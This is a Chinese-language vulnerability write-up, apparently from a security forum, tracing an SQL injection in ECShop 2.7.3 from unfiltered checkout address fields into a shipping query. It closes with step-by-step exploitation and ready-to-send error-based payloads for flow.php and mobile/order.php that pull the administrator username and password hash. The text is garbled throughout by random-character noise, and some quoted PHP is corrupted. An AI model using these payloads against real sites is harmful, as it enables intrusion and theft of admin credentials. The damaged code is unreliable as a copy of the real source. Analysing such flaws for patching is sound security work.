前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。* t7 u; g9 e3 p+ P( U7 p' p0 r" T1 @
, Y. c6 L5 b/ S' {; V: c+ p
漏洞关键文件:
+ n% K( I1 M- _% D) {) c' D9 q: _) d3 b: Q6 m/ Z
/includes/lib_order.php
4 x2 G8 V! Q6 q* ~: t4 {
. P7 T! I; H' H. f3 J5 U8 i 关键函数:, {- J6 S5 v% \+ {
" M+ x% B; F7 y
$ k3 e0 y/ I L/ O. x
9 T! c& z ~9 z* |01 function available_shipping_list($region_id_list) ) V5 S. Z5 }; d
$ }! e: M9 i! u9 C
02 {
) f e% v5 v/ a% N) p
4 w: F% t9 S3 r8 ]1 n03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . . }$ M" p9 _: V P9 Q. P6 S
2 h# u" ~( j, s# w* ^4 i9 [$ C
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
3 \& O4 i) [. ]6 N* @ M9 Y: U4 f: I# c- h; |
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
% W0 M5 w& K3 l5 g# {- @: K( J) T7 e6 H+ ~
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ; Q# c' d8 V z, f
; r2 M; [& v" ~" t' [07 $GLOBALS['ecs']->table('area_region') . ' AS r '. 4 m3 J# P2 ?$ s+ i/ l3 [
* c/ [7 u3 ]/ a: v0 H+ Q1 ~# `
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
+ i! h2 x* k H3 a- x- s) Z+ h3 ?9 u& Q# v2 h3 H( Y
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
2 y2 r" d# j* H0 ^: A: D! N0 ]; x9 d5 O- v6 G
10 5 Z2 t& Q! [8 G! f; F( s |; z
7 [! z: l& ^5 y( w/ e5 i. I0 P+ P! `
11 return $GLOBALS['db']->getAll($sql); , b* I; o' f0 ^8 `% Z$ K0 m; P
) A" E) J! p: a1 X* U7 n! v2 H12 } 1 O& D( E8 ^* J5 F, `% ~
) z/ t) V( Q4 F7 i" j; l+ y显然对传入的参数没有任何过滤就带入了查询语句。
) B( q: e6 l" a1 y, d) E& R 8 H ]8 O e! Q0 o$ w2 V% s9 K
下面我们追踪这个函数在flow.php中:
0 G3 q' ?$ d y k8 v# c 第531行: , {2 L9 y' {2 \' _! ~
+ U2 s1 |; Z m, u+ h+ G% Q1 $shipping_list = available_shipping_list($region);
& D# p' {) `8 D2 Q: `) k& s/ l- c' t/ B+ B R
" y, k0 I% }9 q, J( w1 L7 I/ ~6 @& O8 v, ~
" A+ P! I2 c2 ~# V# ^ R8 |8 W" n+ i0 v/ f6 w
再对传入变量进行追踪:2 W) F0 _5 G0 l* t5 |
9 @& ?) q. _% a) @# c: ^7 m8 v第530行: 2 K e6 c2 H. Q7 E% [) @/ k
' |0 D5 D/ U% x7 t" D( \- k7 x
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 5 Y' Y; W0 E" `9 S7 ]
7 ]& x4 g5 i. j* F' \: t/ H' u) Q
& |' m, A7 K" V( G# Z& \; }2 U( s# G$ \! r% O1 _( Y
9 e7 h6 p6 q0 j$ s6 \
' r( S5 e, O" S+ |+ Y. D第473行:
& c" }* B `" Z: B3 c2 n$ D" W& T e" d3 h0 `$ e
1 $consignee = get_consignee($_SESSION['user_id']); 0 P2 `3 R% |1 R
; O8 s8 q9 Y# ]. _, B3 j' c
到了一个关键函数:* z( V: L7 [" E
5 A6 M) P* Z) M' ?# G" ?" Z/includes/lib_order.php
4 p% z, k/ u8 ^) M$ a% Z8 W5 O" w. C D
7 q$ m+ ? k: m# ?0 E4 i, ~0 M1 p % j, l' e4 i, N
- V* j9 b0 s9 [
! E, E: v$ a1 H
0 P6 Q |& O% m) n2 ?01 function get_consignee($user_id) 2 f' V* j7 d- a. @
9 W9 ^+ H; `# a6 [* B6 l; b9 Y
02 { + y4 D- d' `3 D
1 c! I5 u: l, R- H03 if (isset($_SESSION['flow_consignee']))
9 }1 G7 U/ f5 t; p7 C0 w: p8 `
4 X5 ~( p% x# ]* l% y- A04 {
2 p2 z) I `3 b8 ?* `! W" ^) @
! V+ c' @! P( e; X05 /* 如果存在session,则直接返回session中的收货人信息 */
1 w& S$ [% T6 M9 O, O/ ?( e' _% v
% J+ i; V/ |: J+ ~06 0 {, P/ e2 P& Z k% c5 {
" D' P& O( k( s/ t
07 return $_SESSION['flow_consignee'];
+ t# ^- r C5 C0 m' b) r
! U/ g/ f" j, W1 ?9 I4 T08 }
) s6 C3 r! Q9 f1 `4 X1 |: r8 [# p
09 else " U+ _3 [$ @8 O1 J2 h5 ?( M* `
- C! ^& l1 ]. G7 v6 b$ T+ q+ B
10 {
4 B2 V2 d+ D. I+ u+ q& @; q. I
9 G% S9 n( J0 X. X4 w! Y11 /* 如果不存在,则取得用户的默认收货人信息 */
! `: R" G- V; b/ K! Z) t4 a
( n1 {1 o0 a' e3 K; S12 $arr = array();
. B8 N# r) E/ g" U0 R7 }; ]+ {7 U
13 1 k0 F1 {6 I* G2 w
6 [& n4 C: k$ ]$ r3 }14 if ($user_id > 0)
# a# @& X% S$ E/ H/ M9 l
9 e: |; [3 ]6 \) a5 \/ R15 {
: q# }+ R8 P' a6 u9 A, W/ g8 M) l: I- b( e$ B, z1 g8 l
16 /* 取默认地址 */ ( P' R" @6 Q* q1 ]7 \
3 p" x. k3 b- ~7 ?( m u m: Q+ O
17 $sql = "SELECT ua.*". 0 J) a' D$ y& a0 @ ?# ]
+ s) M: O, F6 ~ L. D+ a4 G18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
! f! X# N* y I& k G
% c" c4 s% v+ |; `7 S1 _19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
! K6 u2 ?; H& W& |4 Z& h* j7 F* W& h3 e& b7 s/ f3 J) r
20
/ A' C6 U" _2 d1 X: a
$ K- [6 R" P2 o0 k4 G! K21 $arr = $GLOBALS['db']->getRow($sql);
7 {7 D+ E6 V; M. u, ]5 r0 V2 y+ h2 q* k' H- G7 a# v
22 }
# v4 b% n5 g2 u w0 l( h+ g$ f
" ~% l: K7 R3 z) j7 G! \23
, r* C# R& \% Q& ~
3 }% t7 p% e& f# e/ ~2 M24 return $arr;
* A" O5 d/ z! E/ U. |4 l6 h+ D
25 } ) W" j: x' v6 t. W/ Z6 A/ |
8 r1 s& K! s& I* Z s26 }
" r% V* ^$ p9 \( q( K# z% z2 k* A- I1 h3 v3 q1 b. M: W( n
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
" N* c8 d. i( z1 N8 g0 L, j
, e8 B" v- n: t; w/ u+ m/ ^: _4 Y
# V+ W4 w- J3 B" A1 m0 R2 P4 s: O3 m# o) H
关键点:
: W7 F, q' g: ^9 v8 B3 S
$ }$ f) q1 _# y2 {( ?第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
, V" C6 a& Q3 G' q5 a
& s" ]' f* l: L$ O( |5 _3 z# D6 c8 H这里对传入参数反转义存入$_SESSION中。
' l* v2 l( n0 y4 C' \+ V8 L' T/ e, n. D! m7 U1 i3 Z! O' H9 i
1 D5 z( ~, h' _- W. t! p
8 c- {8 s/ {2 o- o5 m) J4 }然后看下:
( v D! r2 \' _# N4 X) Y& h& U' f# O5 w" Z6 F
% A5 f0 y/ e1 n7 X! a# ]% x }6 W$ q" n; ?. k- Z, P! t
6 c" k; S; F; i0 [7 r
; N# w/ F1 U5 h) o- _# c0 ?! m01 $consignee = array(
) G6 G4 X. b/ r" F. m9 `+ m' X, O* @0 t6 w7 [# P/ \! ]* c
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), ! Y' e. B" z( Q9 S
& t( b- q+ n* ]1 H
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
L" k& F" j" B6 l: l" k: J; m( Y9 \8 B H4 f* t
04 'country' => empty($_POST['country']) ? '' _POST['country'],
- e5 A0 o3 u6 d% P
8 l) U! k7 X4 M: v2 z( N05 'province' => empty($_POST['province']) ? '' _POST['province'], 2 e8 R Z5 Z0 y1 M4 ^& a! m: R
! i/ k9 O5 ]8 U& k
06 'city' => empty($_POST['city']) ? '' _POST['city'], ' w$ B, [! l/ P# ?/ e& q6 R) `; o
8 b+ I0 d- e) _
07 'district' => empty($_POST['district']) ? '' _POST['district'], 6 D8 F& A! }! c. T: V9 \ b; S
# I$ D4 B* s1 H( b" B! M- B, u
08 'email' => empty($_POST['email']) ? '' _POST['email'], ! M/ D$ n3 L; Y) d' M3 A1 F5 }
1 s0 \3 P1 L( q7 o( {5 S/ v9 |6 M; u
09 'address' => empty($_POST['address']) ? '' _POST['address'],
! T& p/ p7 H- D; W V) k% y3 r
! L8 {: |: a5 D1 f! E' |% v10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
" P0 J2 l7 w( @, ^- P9 e( }2 a: t3 _7 o) o9 i! r- P3 T$ \
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 1 O, w% Q: U4 Y0 ^5 O
Y) k# U* u5 e& }) w
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
9 M7 V. P D0 t! j) x/ F2 D% W5 Z8 K( Q- _3 }. w3 {% R
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
1 ~8 c8 f6 Y: b& ?; q [+ s; j( U5 R
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], ) q/ Y) L0 I# d; m X/ C1 R
" a. L" S4 G) e$ x% ~
15 ); 3 ]& b$ Y4 u* ?9 _" ^
0 L- `. s# ]; z: B% Z
好了注入就这样出现了。: J( c' P, l1 m/ x
7 u5 @% @ s6 Y) e. _6 ~$ \==================& n. u5 `9 S% v+ M/ e, {. i# G% j+ J
( O2 x8 [. v4 I$ t: H+ P# Q
注入测试:) C2 |; x8 V/ ? ?; y
u" j1 d4 F8 {9 ~+ o环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
# A( E% `; M7 |6 B; {2 u$ {. ~. B6 q$ A! j
测试程序:ECShop_V2.7.3_UTF8_release1106
& [; y6 l6 n) S) \' ~' n* U x; B2 F" G
+ a) O0 O1 I' v G
' e" a( z2 ]' l9 M4 }8 q6 o* P' k1.首先需要点击一个商品加入购物车5 R" G4 i. Z' I) k+ Q+ j) Y
8 d5 ~4 M1 M- E/ {, F$ q
2.注册一个会员帐号
& j: V( d& F U2 O+ Z/ j F
: Z( x" y6 B7 L( L- g3 t3.post提交数据! o% \/ b* o: I
$ O9 y6 i( F. Y' k4 k
/ S/ [& b* K+ x C4 c! V; A- m/ M2 z
1 http://127.0.0.1/ecshop/flow.php
! D5 w8 a ?3 p8 U& ]6 @1 a: T2 b9 ^5 t
2 . [$ j1 a5 Z* R9 @* U7 H, C$ g- N% Y
, {9 e4 v* c0 a2 T# `
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
8 \! M, U. S5 T2 c% y% A/ N9 `举一反三,我们根据这个漏洞我们可以继续深入挖掘:
! \+ |! u. g, d
) @ a8 K" p2 W我们搜寻关键函数function available_shipping_list(). {( U" Z& f, \% n' M0 D
^) X0 t, Y) l3 x* R) O: B在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
u: ^: ? ]9 e# n2 W0 C
) w7 z0 `% \8 ^) U* S: A利用exp:' q1 ^" y0 N) y$ {, l, K+ y
# p% r; v! h# \" u
1.点击一个商品,点击购买商标2 i' D% X6 D/ G4 q$ z* N
5 ~' U8 h4 g8 h3 p+ U
2.登录会员帐号
4 H3 q! S) g/ H
- a; G- j8 Z, _* K7 l3.post提交:
$ _5 g! Z! y( A5 Q: e) ~6 W$ V9 j/ X
http://127.0.0.1/ecshop/mobile/order.php
a* v! D, A/ R. ~
( K) V3 K( t( `7 J- U' A ( L3 d' y0 ]. ^; ~1 A' ]
- ^5 w+ F+ E/ Jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
' @( Z P. H5 z; S$ |- w8 s( @- D1 [0 V- y6 S1 |
|